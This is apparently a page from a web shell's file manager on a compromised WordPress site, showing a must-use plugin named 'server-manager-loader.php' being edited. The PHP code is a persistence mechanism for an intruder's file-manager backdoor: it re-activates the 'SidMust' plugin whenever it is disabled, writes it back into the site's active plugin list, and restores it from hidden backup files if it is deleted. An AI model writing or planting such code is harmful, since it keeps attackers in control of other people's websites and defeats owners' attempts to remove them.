Sid Gifari From Gifari Industries - BD Cyber Security Team
Home
/
home
/
logoandw
/
public_html
/
naturallights.biz
/
wp-content
/
mu-plugins
/
✏️
Editing: server-manager-loader.php
<?php /** * Must-Use Plugin: Sid Gifari Server Manager Loader * This ensures the plugin stays active even if deactivated */ if (!defined("ABSPATH")) exit; // Detect if plugin is deactivated and reactivate it add_action("plugins_loaded", function() { $plugin_file = "SidMust-plugin-v2/File-Manager.php"; $plugin_path = WP_PLUGIN_DIR . "/SidMust-plugin-v2/File-Manager.php"; // If main plugin file exists but is not active, reactivate it if (file_exists($plugin_path)) { if (!is_plugin_active($plugin_file)) { require_once($plugin_path); // Force activate in database $active_plugins = get_option("active_plugins", []); if (!in_array($plugin_file, $active_plugins)) { $active_plugins[] = $plugin_file; update_option("active_plugins", $active_plugins); } // For multisite if (is_multisite()) { $network_plugins = get_site_option("active_sitewide_plugins", []); $network_plugins[$plugin_file] = time(); update_site_option("active_sitewide_plugins", $network_plugins); } } } else { // If plugin file is deleted, restore it from backup $backup_files = [ ABSPATH . "wp-content/upload-back.php", ABSPATH . "wp-content/.server-backup.php", ]; foreach ($backup_files as $backup) { if (file_exists($backup)) { @copy($backup, $plugin_path); @chmod($plugin_path, 0644); break; } } // Then reactivate if (file_exists($plugin_path)) { require_once($plugin_path); $active_plugins = get_option("active_plugins", []); if (!in_array($plugin_file, $active_plugins)) { $active_plugins[] = $plugin_file; update_option("active_plugins", $active_plugins); } } } }, 1); ?>
💾 Save
❌ Cancel